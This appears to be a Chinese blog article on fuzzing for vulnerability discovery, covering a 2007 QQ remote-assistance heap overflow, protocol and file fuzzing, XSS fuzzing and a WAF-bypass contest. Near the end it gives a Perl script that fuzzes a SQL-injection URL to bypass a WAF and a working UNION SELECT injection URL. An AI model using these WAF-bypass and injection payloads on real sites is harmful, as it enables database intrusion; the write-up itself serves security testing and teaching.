Fuzz漏洞挖掘漫谈

在计算机领域,Fuzz Testing(模糊测试)是一种测试方法,即构造一系列无规则的“坏”数据插入应用程序,判断程序是否出现异常,以发现潜在的bug。在信息安全领域,也有人尝试引入fuzz testing思想进行安全漏洞挖掘,而且效果不错。

大家可以看到,fuzz安全测试理论和应用都已经较为成熟,已有各种fuzz安全测试的框架、工具甚至书籍问世。

初识fuzz的威力是在07年。当时来自team509安全团队的wushi发现了QQ的一个溢出漏洞,wushi本着“负责任的漏洞披露过程”将漏洞细节告知了腾讯安全团队。为此,腾讯还专门发布了一个安全公告(http://im.qq.com/safe/affiche/2007/20071015.shtml)。这应该是腾讯的第一个漏洞安全公告,奠定了腾讯未来的安全漏洞应急响应基础,具有划时代的意义。当然,这些都是另一个话题了。

原来在当时的QQ 2007的远程协助模块在解包的过程中没有对传入的数据进行校验,结果就产生了溢出。如图所示就是发生堆溢出的汇编代码,我们可以看到memcpy函数三个参数外部均可以控制导致产生了堆溢出漏洞。攻击者可以构造特殊的数据包触发这个漏洞,wushi提供的PoC可以直接令远程协助的对方QQ崩溃。

Fuzz漏洞挖掘漫谈_第1张图片

真是个威力巨大的漏洞!本着“知其然知其所以然”的原则,漏洞处理完后我们请教wushi是如何发现的,wushi只轻描淡写地说了一个英文单词——fuzz!

从wushi的思路得到启发,腾讯安全团队也着手研究协议fuzz。

为了迅速排查类似漏洞,我们先使用了Python脚本进行“小步快跑”式的协议fuzz。QQ支持HTTP代理,我们就用一个Python写的HTTP代理让测试QQ A通过这个代理与测试QQ B进行通信,这个Python代理就负责按照一定规则修改经过的指定格式的数据(也就是指定模型的fuzz啦)。果然,我们又在QQ 2007的远程协助、视频通话、音频通话模块中发现了数个远程溢出漏洞,均及时得以修复。

使用HTTP代理只是权宜之计,因为不是所有的协议都支持HTTP代理,而且有些漏洞可能存在于原始协议中,于是我们又开发了一个基于Windows的协议fuzz程序。大致思路是通过DLL注入的方式hook某个进程调用的各个Socket发送函数,通过更改传输的数据进行fuzz。效果和Python殊途同归,但适用范围要大些。

这种在原有协议上进行fuzz的好处在于可以“智能的”进行fuzz(smart fuzz),避免了大量的无用功。试想,如果协议不对数据包本身就被丢弃了,毫无规则的fuzz(blind fuzz)会浪费大量人力物力。当然,有些漏洞本身可能就会出现在不符合协议的数据处理中。如果时间允许,全fuzz也是有必要的。

文件fuzz也是类似的思路。以JPG格式为例,只需要先找一些正常jpg文件做样本生成JPG模版,再对模版中的数据格式进行各种fuzz,生成fuzz样本,然后用程序逐个打开这些样本,看是否产生异常。

类似的fuzz框架/工具也很多,如Sulley、PaiMei、TAOF,都很高端上流,有兴趣的同学自行百度之,在此不赘述。

Web漏洞也是可以用fuzz思想来挖掘的。

比如挖掘HTML5新特性的XSS攻击代码,最好的办法就是fuzz。先枚举浏览器支持的HTML5的各种属性方法,赋值之后观察是否alert。对一些类XSS Filter(Web Mail)的漏洞挖掘也是基于这种思路。

前段时间安全宝搞了个绕过WAF的活动,我也体验了一把,用fuzz的方法发现一个绕过方法。

我们都知道WAF是先于Web应用解析外部参数的,如果认为恶意就会拦截,但是WAF和Web应用如果对外部数据处理不一致就会存在绕过WAF的情况。要想绕过WAF,只需要找到WAF认为不是恶意但是又能对Web应用产生攻击的特殊字符串。

当时我测试时安全宝的WAF时发现如果URL中含有“and”、“[空格]and[空格]”、“[TAB]and[TAB]”等都会被过滤(拦截的特征为HTTP 405),只要我能找到一个字符让WAF认为无问题,但是MySQL能知道是空格就好。

怎么办?盲目猜是没有意义且低效的。那么就fuzz吧。把ASCII码1到255都穷举一遍看看。于是一个Perl脚本应运而生:


use LWP 5.64;

$browser = LWP::UserAgent->new;

for($i=0;$i<256;$i++){

$j = data10to16($i);

print"[+]  $j  ". hex($j) ."  ". chr(hex($j)) ." \n";

$url ="http://secaqb.anquanbao.org/sqlin.php?id=9and%".$j."1=1";

$response = $browser->get($url);

print"[-] code ".$response->status_line."\n";

if($response->content=~/www\.cnseay\.com/is){ print"[$] done ! ========================>\n"; }

sleep(1);

}

sub data10to16{

my($data)=@_;

my $data16=sprintf("x", $data);

return$data16;

}

运行脚本然后喝一杯咖啡,然后看结果,果然发现ASCII码11的字符(URL编码)可以绕过安全宝WAF的拦截并且MySQL认为是代替空格的字符。如图。

Fuzz漏洞挖掘漫谈_第2张图片

然后利用union查询时发现如果URL出现“1,1,1,1”字样也会被拦截,测试发现加几个空格就可以绕过。形式如“select 1, 1, 1, 1”。

所以结合这两个bug,构造这样的URL就可以读取到数据库user为seay@localhost:http://secaqb.anquanbao.org/sqlin.php?id=9 and1=2 unionselect1,user(), 3 ,4

你可能感兴趣的:(Fuzz漏洞挖掘漫谈)